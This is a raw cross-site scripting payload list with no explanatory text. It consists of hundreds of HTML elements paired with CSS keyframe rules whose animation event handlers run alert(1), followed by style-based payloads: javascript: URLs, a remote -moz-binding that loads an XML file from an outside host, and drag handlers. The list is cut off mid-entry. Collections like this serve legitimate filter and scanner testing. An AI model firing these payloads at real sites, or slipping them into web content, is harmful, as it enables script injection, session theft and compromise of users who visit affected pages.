<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><section id=x style="position:absolute;" onanimationcancel="alert(1)"></section> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><select id=x style="position:absolute;" onanimationcancel="alert(1)"></select> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><shadow id=x style="position:absolute;" onanimationcancel="alert(1)"></shadow> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><s id=x style="position:absolute;" onanimationcancel="alert(1)"></s> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><slot id=x style="position:absolute;" onanimationcancel="alert(1)"></slot> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><small id=x style="position:absolute;" onanimationcancel="alert(1)"></small> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><source id=x style="position:absolute;" onanimationcancel="alert(1)"></source> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><spacer id=x style="position:absolute;" onanimationcancel="alert(1)"></spacer> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><span id=x style="position:absolute;" onanimationcancel="alert(1)"></span> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strike id=x style="position:absolute;" onanimationcancel="alert(1)"></strike> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strong id=x style="position:absolute;" onanimationcancel="alert(1)"></strong> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><style id=x style="position:absolute;" onanimationcancel="alert(1)"></style> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sub id=x style="position:absolute;" onanimationcancel="alert(1)"></sub> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><summary id=x style="position:absolute;" onanimationcancel="alert(1)"></summary> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sup id=x style="position:absolute;" onanimationcancel="alert(1)"></sup> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><svg id=x style="position:absolute;" onanimationcancel="alert(1)"></svg> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><table id=x style="position:absolute;" onanimationcancel="alert(1)"></table> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tbody id=x style="position:absolute;" onanimationcancel="alert(1)"></tbody> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><td id=x style="position:absolute;" onanimationcancel="alert(1)"></td> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><template id=x style="position:absolute;" onanimationcancel="alert(1)"></template> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><textarea id=x style="position:absolute;" onanimationcancel="alert(1)"></textarea> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tfoot id=x style="position:absolute;" onanimationcancel="alert(1)"></tfoot> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><thead id=x style="position:absolute;" onanimationcancel="alert(1)"></thead> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><th id=x style="position:absolute;" onanimationcancel="alert(1)"></th> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><time id=x style="position:absolute;" onanimationcancel="alert(1)"></time> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><title id=x style="position:absolute;" onanimationcancel="alert(1)"></title> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><track id=x style="position:absolute;" onanimationcancel="alert(1)"></track> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tr id=x style="position:absolute;" onanimationcancel="alert(1)"></tr> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tt id=x style="position:absolute;" onanimationcancel="alert(1)"></tt> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><u id=x style="position:absolute;" onanimationcancel="alert(1)"></u> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ul id=x style="position:absolute;" onanimationcancel="alert(1)"></ul> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><var id=x style="position:absolute;" onanimationcancel="alert(1)"></var> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><video id=x style="position:absolute;" onanimationcancel="alert(1)"></video> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><wbr id=x style="position:absolute;" onanimationcancel="alert(1)"></wbr> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xmp id=x style="position:absolute;" onanimationcancel="alert(1)"></xmp> <style>@keyframes x{}</style><abbr style="animation-name:x" onanimationend="alert(1)"></abbr> <style>@keyframes x{}</style><abbr style="animation-name:x" onanimationstart="alert(1)"></abbr> <style>@keyframes x{}</style><acronym style="animation-name:x" onanimationend="alert(1)"></acronym> <style>@keyframes x{}</style><acronym style="animation-name:x" onanimationstart="alert(1)"></acronym> <style>@keyframes x{}</style><address style="animation-name:x" onanimationend="alert(1)"></address> <style>@keyframes x{}</style><address style="animation-name:x" onanimationstart="alert(1)"></address> <style>@keyframes x{}</style><applet style="animation-name:x" onanimationend="alert(1)"></applet> <style>@keyframes x{}</style><applet style="animation-name:x" onanimationstart="alert(1)"></applet> <style>@keyframes x{}</style><area style="animation-name:x" onanimationend="alert(1)"></area> <style>@keyframes x{}</style><area style="animation-name:x" onanimationstart="alert(1)"></area> <style>@keyframes x{}</style><article style="animation-name:x" onanimationend="alert(1)"></article> <style>@keyframes x{}</style><article style="animation-name:x" onanimationstart="alert(1)"></article> <style>@keyframes x{}</style><aside style="animation-name:x" onanimationend="alert(1)"></aside> <style>@keyframes x{}</style><aside style="animation-name:x" onanimationstart="alert(1)"></aside> <style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a> <style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a> <style>@keyframes x{}</style><audio style="animation-name:x" onanimationend="alert(1)"></audio> <style>@keyframes x{}</style><audio style="animation-name:x" onanimationstart="alert(1)"></audio> <style>@keyframes x{}</style><basefont style="animation-name:x" onanimationend="alert(1)"></basefont> <style>@keyframes x{}</style><basefont style="animation-name:x" onanimationstart="alert(1)"></basefont> <style>@keyframes x{}</style><base style="animation-name:x" onanimationend="alert(1)"></base> <style>@keyframes x{}</style><base style="animation-name:x" onanimationstart="alert(1)"></base> <style>@keyframes x{}</style><bdi style="animation-name:x" onanimationend="alert(1)"></bdi> <style>@keyframes x{}</style><bdi style="animation-name:x" onanimationstart="alert(1)"></bdi> <style>@keyframes x{}</style><bdo style="animation-name:x" onanimationend="alert(1)"></bdo> <style>@keyframes x{}</style><bdo style="animation-name:x" onanimationstart="alert(1)"></bdo> <style>@keyframes x{}</style><bgsound style="animation-name:x" onanimationend="alert(1)"></bgsound> <style>@keyframes x{}</style><bgsound style="animation-name:x" onanimationstart="alert(1)"></bgsound> <style>@keyframes x{}</style><big style="animation-name:x" onanimationend="alert(1)"></big> <style>@keyframes x{}</style><big style="animation-name:x" onanimationstart="alert(1)"></big> <style>@keyframes x{}</style><blink style="animation-name:x" onanimationend="alert(1)"></blink> <style>@keyframes x{}</style><blink style="animation-name:x" onanimationstart="alert(1)"></blink> <style>@keyframes x{}</style><blockquote style="animation-name:x" onanimationend="alert(1)"></blockquote> <style>@keyframes x{}</style><blockquote style="animation-name:x" onanimationstart="alert(1)"></blockquote> <style>@keyframes x{}</style><body style="animation-name:x" onanimationend="alert(1)"></body> <style>@keyframes x{}</style><body style="animation-name:x" onanimationstart="alert(1)"></body> <style>@keyframes x{}</style><br style="animation-name:x" onanimationend="alert(1)"></br> <style>@keyframes x{}</style><br style="animation-name:x" onanimationstart="alert(1)"></br> <style>@keyframes x{}</style><b style="animation-name:x" onanimationend="alert(1)"></b> <style>@keyframes x{}</style><b style="animation-name:x" onanimationstart="alert(1)"></b> <style>@keyframes x{}</style><button style="animation-name:x" onanimationend="alert(1)"></button> <style>@keyframes x{}</style><button style="animation-name:x" onanimationstart="alert(1)"></button> <style>@keyframes x{}</style><canvas style="animation-name:x" onanimationend="alert(1)"></canvas> <style>@keyframes x{}</style><canvas style="animation-name:x" onanimationstart="alert(1)"></canvas> <style>@keyframes x{}</style><caption style="animation-name:x" onanimationend="alert(1)"></caption> <style>@keyframes x{}</style><caption style="animation-name:x" onanimationstart="alert(1)"></caption> <style>@keyframes x{}</style><center style="animation-name:x" onanimationend="alert(1)"></center> <style>@keyframes x{}</style><center style="animation-name:x" onanimationstart="alert(1)"></center> <style>@keyframes x{}</style><cite style="animation-name:x" onanimationend="alert(1)"></cite> <style>@keyframes x{}</style><cite style="animation-name:x" onanimationstart="alert(1)"></cite> <style>@keyframes x{}</style><code style="animation-name:x" onanimationend="alert(1)"></code> <style>@keyframes x{}</style><code style="animation-name:x" onanimationstart="alert(1)"></code> <style>@keyframes x{}</style><colgroup style="animation-name:x" onanimationend="alert(1)"></colgroup> <style>@keyframes x{}</style><colgroup style="animation-name:x" onanimationstart="alert(1)"></colgroup> <style>@keyframes x{}</style><col style="animation-name:x" onanimationend="alert(1)"></col> <style>@keyframes x{}</style><col style="animation-name:x" onanimationstart="alert(1)"></col> <style>@keyframes x{}</style><command style="animation-name:x" onanimationend="alert(1)"></command> <style>@keyframes x{}</style><command style="animation-name:x" onanimationstart="alert(1)"></command> <style>@keyframes x{}</style><content style="animation-name:x" onanimationend="alert(1)"></content> <style>@keyframes x{}</style><content style="animation-name:x" onanimationstart="alert(1)"></content> <style>@keyframes x{}</style><datalist style="animation-name:x" onanimationend="alert(1)"></datalist> <style>@keyframes x{}</style><datalist style="animation-name:x" onanimationstart="alert(1)"></datalist> <style>@keyframes x{}</style><data style="animation-name:x" onanimationend="alert(1)"></data> <style>@keyframes x{}</style><data style="animation-name:x" onanimationstart="alert(1)"></data> <style>@keyframes x{}</style><dd style="animation-name:x" onanimationend="alert(1)"></dd> <style>@keyframes x{}</style><dd style="animation-name:x" onanimationstart="alert(1)"></dd> <style>@keyframes x{}</style><del style="animation-name:x" onanimationend="alert(1)"></del> <style>@keyframes x{}</style><del style="animation-name:x" onanimationstart="alert(1)"></del> <style>@keyframes x{}</style><details style="animation-name:x" onanimationend="alert(1)"></details> <style>@keyframes x{}</style><details style="animation-name:x" onanimationstart="alert(1)"></details> <style>@keyframes x{}</style><dfn style="animation-name:x" onanimationend="alert(1)"></dfn> <style>@keyframes x{}</style><dfn style="animation-name:x" onanimationstart="alert(1)"></dfn> <style>@keyframes x{}</style><dialog style="animation-name:x" onanimationend="alert(1)"></dialog> <style>@keyframes x{}</style><dialog style="animation-name:x" onanimationstart="alert(1)"></dialog> <style>@keyframes x{}</style><dir style="animation-name:x" onanimationend="alert(1)"></dir> <style>@keyframes x{}</style><dir style="animation-name:x" onanimationstart="alert(1)"></dir> <style>@keyframes x{}</style><div style="animation-name:x" onanimationend="alert(1)"></div> <style>@keyframes x{}</style><div style="animation-name:x" onanimationstart="alert(1)"></div> <style>@keyframes x{}</style><dl style="animation-name:x" onanimationend="alert(1)"></dl> <style>@keyframes x{}</style><dl style="animation-name:x" onanimationstart="alert(1)"></dl> <style>@keyframes x{}</style><dt style="animation-name:x" onanimationend="alert(1)"></dt> <style>@keyframes x{}</style><dt style="animation-name:x" onanimationstart="alert(1)"></dt> <style>@keyframes x{}</style><element style="animation-name:x" onanimationend="alert(1)"></element> <style>@keyframes x{}</style><element style="animation-name:x" onanimationstart="alert(1)"></element> <style>@keyframes x{}</style><embed style="animation-name:x" onanimationend="alert(1)"></embed> <style>@keyframes x{}</style><embed style="animation-name:x" onanimationstart="alert(1)"></embed> <style>@keyframes x{}</style><em style="animation-name:x" onanimationend="alert(1)"></em> <style>@keyframes x{}</style><em style="animation-name:x" onanimationstart="alert(1)"></em> <style>@keyframes x{}</style><fieldset style="animation-name:x" onanimationend="alert(1)"></fieldset> <style>@keyframes x{}</style><fieldset style="animation-name:x" onanimationstart="alert(1)"></fieldset> <style>@keyframes x{}</style><figcaption style="animation-name:x" onanimationend="alert(1)"></figcaption> <style>@keyframes x{}</style><figcaption style="animation-name:x" onanimationstart="alert(1)"></figcaption> <style>@keyframes x{}</style><figure style="animation-name:x" onanimationend="alert(1)"></figure> <style>@keyframes x{}</style><figure style="animation-name:x" onanimationstart="alert(1)"></figure> <style>@keyframes x{}</style><font style="animation-name:x" onanimationend="alert(1)"></font> <style>@keyframes x{}</style><font style="animation-name:x" onanimationstart="alert(1)"></font> <style>@keyframes x{}</style><footer style="animation-name:x" onanimationend="alert(1)"></footer> <style>@keyframes x{}</style><footer style="animation-name:x" onanimationstart="alert(1)"></footer> <style>@keyframes x{}</style><form style="animation-name:x" onanimationend="alert(1)"></form> <style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"></form> <style>@keyframes x{}</style><frameset style="animation-name:x" onanimationend="alert(1)"></frameset> <style>@keyframes x{}</style><frameset style="animation-name:x" onanimationstart="alert(1)"></frameset> <style>@keyframes x{}</style><frame style="animation-name:x" onanimationend="alert(1)"></frame> <style>@keyframes x{}</style><frame style="animation-name:x" onanimationstart="alert(1)"></frame> <style>@keyframes x{}</style><h1 style="animation-name:x" onanimationend="alert(1)"></h1> <style>@keyframes x{}</style><h1 style="animation-name:x" onanimationstart="alert(1)"></h1> <style>@keyframes x{}</style><header style="animation-name:x" onanimationend="alert(1)"></header> <style>@keyframes x{}</style><header style="animation-name:x" onanimationstart="alert(1)"></header> <style>@keyframes x{}</style><head style="animation-name:x" onanimationend="alert(1)"></head> <style>@keyframes x{}</style><head style="animation-name:x" onanimationstart="alert(1)"></head> <style>@keyframes x{}</style><hgroup style="animation-name:x" onanimationend="alert(1)"></hgroup> <style>@keyframes x{}</style><hgroup style="animation-name:x" onanimationstart="alert(1)"></hgroup> <style>@keyframes x{}</style><hr style="animation-name:x" onanimationend="alert(1)"></hr> <style>@keyframes x{}</style><hr style="animation-name:x" onanimationstart="alert(1)"></hr> <style>@keyframes x{}</style><html style="animation-name:x" onanimationend="alert(1)"></html> <style>@keyframes x{}</style><html style="animation-name:x" onanimationstart="alert(1)"></html> <style>@keyframes x{}</style><iframe style="animation-name:x" onanimationend="alert(1)"></iframe> <style>@keyframes x{}</style><iframe style="animation-name:x" onanimationstart="alert(1)"></iframe> <style>@keyframes x{}</style><image style="animation-name:x" onanimationend="alert(1)"></image> <style>@keyframes x{}</style><image style="animation-name:x" onanimationstart="alert(1)"></image> <style>@keyframes x{}</style><img style="animation-name:x" onanimationend="alert(1)"></img> <style>@keyframes x{}</style><img style="animation-name:x" onanimationstart="alert(1)"></img> <style>@keyframes x{}</style><input style="animation-name:x" onanimationend="alert(1)"></input> <style>@keyframes x{}</style><input style="animation-name:x" onanimationstart="alert(1)"></input> <style>@keyframes x{}</style><ins style="animation-name:x" onanimationend="alert(1)"></ins> <style>@keyframes x{}</style><ins style="animation-name:x" onanimationstart="alert(1)"></ins> <style>@keyframes x{}</style><isindex style="animation-name:x" onanimationend="alert(1)"></isindex> <style>@keyframes x{}</style><isindex style="animation-name:x" onanimationstart="alert(1)"></isindex> <style>@keyframes x{}</style><i style="animation-name:x" onanimationend="alert(1)"></i> <style>@keyframes x{}</style><i style="animation-name:x" onanimationstart="alert(1)"></i> <style>@keyframes x{}</style><kbd style="animation-name:x" onanimationend="alert(1)"></kbd> <style>@keyframes x{}</style><kbd style="animation-name:x" onanimationstart="alert(1)"></kbd> <style>@keyframes x{}</style><keygen style="animation-name:x" onanimationend="alert(1)"></keygen> <style>@keyframes x{}</style><keygen style="animation-name:x" onanimationstart="alert(1)"></keygen> <style>@keyframes x{}</style><label style="animation-name:x" onanimationend="alert(1)"></label> <style>@keyframes x{}</style><label style="animation-name:x" onanimationstart="alert(1)"></label> <style>@keyframes x{}</style><legend style="animation-name:x" onanimationend="alert(1)"></legend> <style>@keyframes x{}</style><legend style="animation-name:x" onanimationstart="alert(1)"></legend> <style>@keyframes x{}</style><link style="animation-name:x" onanimationend="alert(1)"></link> <style>@keyframes x{}</style><link style="animation-name:x" onanimationstart="alert(1)"></link> <style>@keyframes x{}</style><listing style="animation-name:x" onanimationend="alert(1)"></listing> <style>@keyframes x{}</style><listing style="animation-name:x" onanimationstart="alert(1)"></listing> <style>@keyframes x{}</style><li style="animation-name:x" onanimationend="alert(1)"></li> <style>@keyframes x{}</style><li style="animation-name:x" onanimationstart="alert(1)"></li> <style>@keyframes x{}</style><main style="animation-name:x" onanimationend="alert(1)"></main> <style>@keyframes x{}</style><main style="animation-name:x" onanimationstart="alert(1)"></main> <style>@keyframes x{}</style><map style="animation-name:x" onanimationend="alert(1)"></map> <style>@keyframes x{}</style><map style="animation-name:x" onanimationstart="alert(1)"></map> <style>@keyframes x{}</style><mark style="animation-name:x" onanimationend="alert(1)"></mark> <style>@keyframes x{}</style><mark style="animation-name:x" onanimationstart="alert(1)"></mark> <style>@keyframes x{}</style><marquee style="animation-name:x" onanimationend="alert(1)"></marquee> <style>@keyframes x{}</style><marquee style="animation-name:x" onanimationstart="alert(1)"></marquee> <style>@keyframes x{}</style><menuitem style="animation-name:x" onanimationend="alert(1)"></menuitem> <style>@keyframes x{}</style><menuitem style="animation-name:x" onanimationstart="alert(1)"></menuitem> <style>@keyframes x{}</style><menu style="animation-name:x" onanimationend="alert(1)"></menu> <style>@keyframes x{}</style><menu style="animation-name:x" onanimationstart="alert(1)"></menu> <style>@keyframes x{}</style><meta style="animation-name:x" onanimationend="alert(1)"></meta> <style>@keyframes x{}</style><meta style="animation-name:x" onanimationstart="alert(1)"></meta> <style>@keyframes x{}</style><meter style="animation-name:x" onanimationend="alert(1)"></meter> <style>@keyframes x{}</style><meter style="animation-name:x" onanimationstart="alert(1)"></meter> <style>@keyframes x{}</style><multicol style="animation-name:x" onanimationend="alert(1)"></multicol> <style>@keyframes x{}</style><multicol style="animation-name:x" onanimationstart="alert(1)"></multicol> <style>@keyframes x{}</style><nav style="animation-name:x" onanimationend="alert(1)"></nav> <style>@keyframes x{}</style><nav style="animation-name:x" onanimationstart="alert(1)"></nav> <style>@keyframes x{}</style><nextid style="animation-name:x" onanimationend="alert(1)"></nextid> <style>@keyframes x{}</style><nextid style="animation-name:x" onanimationstart="alert(1)"></nextid> <style>@keyframes x{}</style><nobr style="animation-name:x" onanimationend="alert(1)"></nobr> <style>@keyframes x{}</style><nobr style="animation-name:x" onanimationstart="alert(1)"></nobr> <style>@keyframes x{}</style><noembed style="animation-name:x" onanimationend="alert(1)"></noembed> <style>@keyframes x{}</style><noembed style="animation-name:x" onanimationstart="alert(1)"></noembed> <style>@keyframes x{}</style><noframes style="animation-name:x" onanimationend="alert(1)"></noframes> <style>@keyframes x{}</style><noframes style="animation-name:x" onanimationstart="alert(1)"></noframes> <style>@keyframes x{}</style><noscript style="animation-name:x" onanimationend="alert(1)"></noscript> <style>@keyframes x{}</style><noscript style="animation-name:x" onanimationstart="alert(1)"></noscript> <style>@keyframes x{}</style><object style="animation-name:x" onanimationend="alert(1)"></object> <style>@keyframes x{}</style><object style="animation-name:x" onanimationstart="alert(1)"></object> <style>@keyframes x{}</style><ol style="animation-name:x" onanimationend="alert(1)"></ol> <style>@keyframes x{}</style><ol style="animation-name:x" onanimationstart="alert(1)"></ol> <style>@keyframes x{}</style><optgroup style="animation-name:x" onanimationend="alert(1)"></optgroup> <style>@keyframes x{}</style><optgroup style="animation-name:x" onanimationstart="alert(1)"></optgroup> <style>@keyframes x{}</style><option style="animation-name:x" onanimationend="alert(1)"></option> <style>@keyframes x{}</style><option style="animation-name:x" onanimationstart="alert(1)"></option> <style>@keyframes x{}</style><output style="animation-name:x" onanimationend="alert(1)"></output> <style>@keyframes x{}</style><output style="animation-name:x" onanimationstart="alert(1)"></output> <style>@keyframes x{}</style><param style="animation-name:x" onanimationend="alert(1)"></param> <style>@keyframes x{}</style><param style="animation-name:x" onanimationstart="alert(1)"></param> <style>@keyframes x{}</style><picture style="animation-name:x" onanimationend="alert(1)"></picture> <style>@keyframes x{}</style><picture style="animation-name:x" onanimationstart="alert(1)"></picture> <style>@keyframes x{}</style><plaintext style="animation-name:x" onanimationend="alert(1)"></plaintext> <style>@keyframes x{}</style><plaintext style="animation-name:x" onanimationstart="alert(1)"></plaintext> <style>@keyframes x{}</style><pre style="animation-name:x" onanimationend="alert(1)"></pre> <style>@keyframes x{}</style><pre style="animation-name:x" onanimationstart="alert(1)"></pre> <style>@keyframes x{}</style><progress style="animation-name:x" onanimationend="alert(1)"></progress> <style>@keyframes x{}</style><progress style="animation-name:x" onanimationstart="alert(1)"></progress> <style>@keyframes x{}</style><p style="animation-name:x" onanimationend="alert(1)"></p> <style>@keyframes x{}</style><p style="animation-name:x" onanimationstart="alert(1)"></p> <style>@keyframes x{}</style><q style="animation-name:x" onanimationend="alert(1)"></q> <style>@keyframes x{}</style><q style="animation-name:x" onanimationstart="alert(1)"></q> <style>@keyframes x{}</style><rb style="animation-name:x" onanimationend="alert(1)"></rb> <style>@keyframes x{}</style><rb style="animation-name:x" onanimationstart="alert(1)"></rb> <style>@keyframes x{}</style><rp style="animation-name:x" onanimationend="alert(1)"></rp> <style>@keyframes x{}</style><rp style="animation-name:x" onanimationstart="alert(1)"></rp> <style>@keyframes x{}</style><rtc style="animation-name:x" onanimationend="alert(1)"></rtc> <style>@keyframes x{}</style><rtc style="animation-name:x" onanimationstart="alert(1)"></rtc> <style>@keyframes x{}</style><rt style="animation-name:x" onanimationend="alert(1)"></rt> <style>@keyframes x{}</style><rt style="animation-name:x" onanimationstart="alert(1)"></rt> <style>@keyframes x{}</style><ruby style="animation-name:x" onanimationend="alert(1)"></ruby> <style>@keyframes x{}</style><ruby style="animation-name:x" onanimationstart="alert(1)"></ruby> <style>@keyframes x{}</style><samp style="animation-name:x" onanimationend="alert(1)"></samp> <style>@keyframes x{}</style><samp style="animation-name:x" onanimationstart="alert(1)"></samp> <style>@keyframes x{}</style><script style="animation-name:x" onanimationend="alert(1)"></script> <style>@keyframes x{}</style><script style="animation-name:x" onanimationstart="alert(1)"></script> <style>@keyframes x{}</style><section style="animation-name:x" onanimationend="alert(1)"></section> <style>@keyframes x{}</style><section style="animation-name:x" onanimationstart="alert(1)"></section> <style>@keyframes x{}</style><select style="animation-name:x" onanimationend="alert(1)"></select> <style>@keyframes x{}</style><select style="animation-name:x" onanimationstart="alert(1)"></select> <style>@keyframes x{}</style><shadow style="animation-name:x" onanimationend="alert(1)"></shadow> <style>@keyframes x{}</style><shadow style="animation-name:x" onanimationstart="alert(1)"></shadow> <style>@keyframes x{}</style><slot style="animation-name:x" onanimationend="alert(1)"></slot> <style>@keyframes x{}</style><slot style="animation-name:x" onanimationstart="alert(1)"></slot> <style>@keyframes x{}</style><small style="animation-name:x" onanimationend="alert(1)"></small> <style>@keyframes x{}</style><small style="animation-name:x" onanimationstart="alert(1)"></small> <style>@keyframes x{}</style><source style="animation-name:x" onanimationend="alert(1)"></source> <style>@keyframes x{}</style><source style="animation-name:x" onanimationstart="alert(1)"></source> <style>@keyframes x{}</style><spacer style="animation-name:x" onanimationend="alert(1)"></spacer> <style>@keyframes x{}</style><spacer style="animation-name:x" onanimationstart="alert(1)"></spacer> <style>@keyframes x{}</style><span style="animation-name:x" onanimationend="alert(1)"></span> <style>@keyframes x{}</style><span style="animation-name:x" onanimationstart="alert(1)"></span> <style>@keyframes x{}</style><s style="animation-name:x" onanimationend="alert(1)"></s> <style>@keyframes x{}</style><s style="animation-name:x" onanimationstart="alert(1)"></s> <style>@keyframes x{}</style><strike style="animation-name:x" onanimationend="alert(1)"></strike> <style>@keyframes x{}</style><strike style="animation-name:x" onanimationstart="alert(1)"></strike> <style>@keyframes x{}</style><strong style="animation-name:x" onanimationend="alert(1)"></strong> <style>@keyframes x{}</style><strong style="animation-name:x" onanimationstart="alert(1)"></strong> <style>@keyframes x{}</style><style style="animation-name:x" onanimationend="alert(1)"></style> <style>@keyframes x{}</style><style style="animation-name:x" onanimationstart="alert(1)"></style> <style>@keyframes x{}</style><sub style="animation-name:x" onanimationend="alert(1)"></sub> <style>@keyframes x{}</style><sub style="animation-name:x" onanimationstart="alert(1)"></sub> <style>@keyframes x{}</style><summary style="animation-name:x" onanimationend="alert(1)"></summary> <style>@keyframes x{}</style><summary style="animation-name:x" onanimationstart="alert(1)"></summary> <style>@keyframes x{}</style><sup style="animation-name:x" onanimationend="alert(1)"></sup> <style>@keyframes x{}</style><sup style="animation-name:x" onanimationstart="alert(1)"></sup> <style>@keyframes x{}</style><svg style="animation-name:x" onanimationend="alert(1)"></svg> <style>@keyframes x{}</style><svg style="animation-name:x" onanimationstart="alert(1)"></svg> <style>@keyframes x{}</style><table style="animation-name:x" onanimationend="alert(1)"></table> <style>@keyframes x{}</style><table style="animation-name:x" onanimationstart="alert(1)"></table> <style>@keyframes x{}</style><tbody style="animation-name:x" onanimationend="alert(1)"></tbody> <style>@keyframes x{}</style><tbody style="animation-name:x" onanimationstart="alert(1)"></tbody> <style>@keyframes x{}</style><td style="animation-name:x" onanimationend="alert(1)"></td> <style>@keyframes x{}</style><td style="animation-name:x" onanimationstart="alert(1)"></td> <style>@keyframes x{}</style><template style="animation-name:x" onanimationend="alert(1)"></template> <style>@keyframes x{}</style><template style="animation-name:x" onanimationstart="alert(1)"></template> <style>@keyframes x{}</style><textarea style="animation-name:x" onanimationend="alert(1)"></textarea> <style>@keyframes x{}</style><textarea style="animation-name:x" onanimationstart="alert(1)"></textarea> <style>@keyframes x{}</style><tfoot style="animation-name:x" onanimationend="alert(1)"></tfoot> <style>@keyframes x{}</style><tfoot style="animation-name:x" onanimationstart="alert(1)"></tfoot> <style>@keyframes x{}</style><thead style="animation-name:x" onanimationend="alert(1)"></thead> <style>@keyframes x{}</style><thead style="animation-name:x" onanimationstart="alert(1)"></thead> <style>@keyframes x{}</style><th style="animation-name:x" onanimationend="alert(1)"></th> <style>@keyframes x{}</style><th style="animation-name:x" onanimationstart="alert(1)"></th> <style>@keyframes x{}</style><time style="animation-name:x" onanimationend="alert(1)"></time> <style>@keyframes x{}</style><time style="animation-name:x" onanimationstart="alert(1)"></time> <style>@keyframes x{}</style><title style="animation-name:x" onanimationend="alert(1)"></title> <style>@keyframes x{}</style><title style="animation-name:x" onanimationstart="alert(1)"></title> <style>@keyframes x{}</style><track style="animation-name:x" onanimationend="alert(1)"></track> <style>@keyframes x{}</style><track style="animation-name:x" onanimationstart="alert(1)"></track> <style>@keyframes x{}</style><tr style="animation-name:x" onanimationend="alert(1)"></tr> <style>@keyframes x{}</style><tr style="animation-name:x" onanimationstart="alert(1)"></tr> <style>@keyframes x{}</style><tt style="animation-name:x" onanimationend="alert(1)"></tt> <style>@keyframes x{}</style><tt style="animation-name:x" onanimationstart="alert(1)"></tt> <style>@keyframes x{}</style><ul style="animation-name:x" onanimationend="alert(1)"></ul> <style>@keyframes x{}</style><ul style="animation-name:x" onanimationstart="alert(1)"></ul> <style>@keyframes x{}</style><u style="animation-name:x" onanimationend="alert(1)"></u> <style>@keyframes x{}</style><u style="animation-name:x" onanimationstart="alert(1)"></u> <style>@keyframes x{}</style><var style="animation-name:x" onanimationend="alert(1)"></var> <style>@keyframes x{}</style><var style="animation-name:x" onanimationstart="alert(1)"></var> <style>@keyframes x{}</style><video style="animation-name:x" onanimationend="alert(1)"></video> <style>@keyframes x{}</style><video style="animation-name:x" onanimationstart="alert(1)"></video> <style>@keyframes x{}</style><wbr style="animation-name:x" onanimationend="alert(1)"></wbr> <style>@keyframes x{}</style><wbr style="animation-name:x" onanimationstart="alert(1)"></wbr> <style>@keyframes x{}</style><xmp style="animation-name:x" onanimationend="alert(1)"></xmp> <style>@keyframes x{}</style><xmp style="animation-name:x" onanimationstart="alert(1)"></xmp> <style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss> <style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss> <style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style> <style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style> <style TYPE="text/javascript">document.vulnerable=true;</style> <style draggable="true" ondrag="alert(1)">test</style> <style draggable="true" ondragend="alert(1)">test</style> <style draggable="true" ondragenter="alert(1)">test</style> <style draggable="true" 